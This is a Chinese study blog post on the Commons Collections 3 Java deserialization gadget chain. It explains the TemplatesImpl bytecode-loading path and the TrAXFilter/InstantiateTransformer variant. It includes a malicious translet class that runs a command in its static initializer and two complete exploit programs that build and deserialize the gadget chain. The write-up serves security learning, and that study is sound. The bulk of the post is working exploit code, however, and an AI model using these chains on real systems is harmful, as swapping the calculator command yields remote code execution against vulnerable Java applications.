前情提要: 文章学习来自b站白日梦组长视频讲解,如有错误,请各位大佬提出orz!!!
环境配置: pom.xml
组长cc3 这个和前面两天链不太一样,是因为最后执行代码不再是调用runtime.exec(),而是动态类加载执行代码
1 ClassLoader->loadclass->findclass->defineclass
protected,不能直接调用,需要找到一个重写他并且是public的类 然后找到在templatesimpl类里面有个defineclass方法调用
然后调用这个方法的是在definetransletclasses方法下面,还是私有,然后继续去找public
然后又找到了templatesimpl下面的gettransletinstance方法下调用了definetransletclasses这个,然后这个里面给_class赋值完之后还调用了newinstance实例化(这里只要走完了gettransletinstance,实例化就可以执行我们的代码了),但同样这个还是private
然后再找,最后找到了templatesimpl下面的newtransformer方法,这个是公开的,且调用了gettransletinstance方法
然后跟一下的话就是newtransformer方法下,会调用gettransletinstance,而gettransletinstance方法如果_class要实例化的话,就必须给_name赋值,但是_class不能赋值,因为不赋值,才会执行gettransletinstance下的definetransletclasses方法,又因为newtransformer构造函数是一个无参构造,所以变量都需要我们自己去赋值,然后执行definetransletclasses方法,在这个方法里面,如果_bytecodes为空的话就会抛出异常,所以不能为空 然后里面还有一个_tfactory变量会调用一个方法,所以按理来说也需要赋值,但是由于他是transient,反序列化他是不会被传进去的,所以其实他在readobject类里面就已经赋值好了,不需要我们去赋值了就 所以需要自己赋值的话就需要用到反射了
然后_bytecodes在definetransletclasses是要传一个二维byte数组
但是最后defineclass动态类加载的时候是要传一个一维byte数组,在definetransletclasses里面的调用的defineclass是循环去调用里面的内容
所以就创建一个一维byte数组,里面放好要执行的代码的class文件,然后用二维byte数组包住这个一维数组即可
这样来的话按道理应该是可以弹计算器了,但是执行发现报了一个空指针错误,然后动态调式一下
调试一下之后发现是definetransletclasses里面出问题了
判断当前的的父类是不是后面的值,是的话执行里面的,不是的话就执行else,但是我们看到下面发现又有一个if检测了_transletindex变量的值是不是为负数,所以这时候其实我们就需要想办法让那个当前的父类等于那个值,才能不会报错
然后看第一个if上面的循环发现这个superclass就是我们所要执行的代码,也就是要求我们所要执行的代码的父类必须是下面这个
修改完的test是下面这样的,记住还要再另外实现一个抽象类和接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import java.io.IOException; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Test extends AbstractTranslet{ static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
最后重新执行上面那个就可以弹计算器了 然后到这里就简单了,直接把cc1的后半部分的链拿过来直接用就好
这里就是相当于把cc1最后执行代码的地方换了,也就是invokertransformer调用的是templates的newtransformer方法
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import javax.xml.transform.*; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class cc3_new { public static void main(String[] args)throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class tc=templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodesField=tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/JavaStudy/java_src/serialize/tmp/Test.class")); byte[][] codes={code}; bytecodesField.set(templates,codes); Field tfactoryField=tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); //templates.newTransformer(); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); //chainedTransformer.transform(1); HashMap<Object, Object> map = new HashMap<>(); map.put("value","aaa");//必须在map里面 Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer); // for(Map.Entry entry:transformedMap.entrySet()){ // entry.setValue(r); // } //AnnotationInvocationHandler直接找找不到因为不是public,反射获取 Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object o=annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap); // serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj)throws IOException { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{ ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename)); Object obj=ois.readObject(); return obj; } }
官方cc3
官方用的是一个InstantiateTransformer类
这里是找到了再TrAXFilter类的构造器同样也调用了newtransformer方法,这样的话就是如果invokerTransformer被过滤的话,可以用这个链
然后刚好TrAXFilter的构造函数是传入一个templates,然后调用了templates的newtransformer方法,和前面的cc3就对应上了 但是这个TrAXFilter类以及他继承的类都是没有继承serialize接口的,都不能反序列化,但是他的class是可以的 但是class的类是不能直接调用它里面的方法的,包括构造方法,但是要使用newtransformer就必须要用到构造器传进去的templates 所以cc3的作者就用到了InstantiateTransformer(可以理解为是将class变成了.java文件)里面的transformer方法 ,这个方法就会检查传入的参数是否是class类,是的话就会获取它指定类型的构造器,然后调用他的构造函数
实例化的类的构造函数的参数类型和参数
像cc1一样,控制不了输入的地方,所以用chainedTransformer方法包住
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import javax.xml.transform.*; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class cc3 { public static void main(String[] args)throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class tc=templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodesField=tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/JavaStudy/java_src/serialize/tmp/Test.class")); byte[][] codes={code}; bytecodesField.set(templates,codes); Field tfactoryField=tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); //templates.newTransformer(); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); //instantiateTransformer.transform(TrAXFilter.class); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); //chainedTransformer.transform(1); HashMap<Object, Object> map = new HashMap<>(); map.put("value","aaa");//必须在map里面 Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer); // for(Map.Entry entry:transformedMap.entrySet()){ // entry.setValue(r); // } //AnnotationInvocationHandler直接找找不到因为不是public,反射获取 Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object o=annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap); // serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj)throws IOException { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{ ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename)); Object obj=ois.readObject(); return obj; } }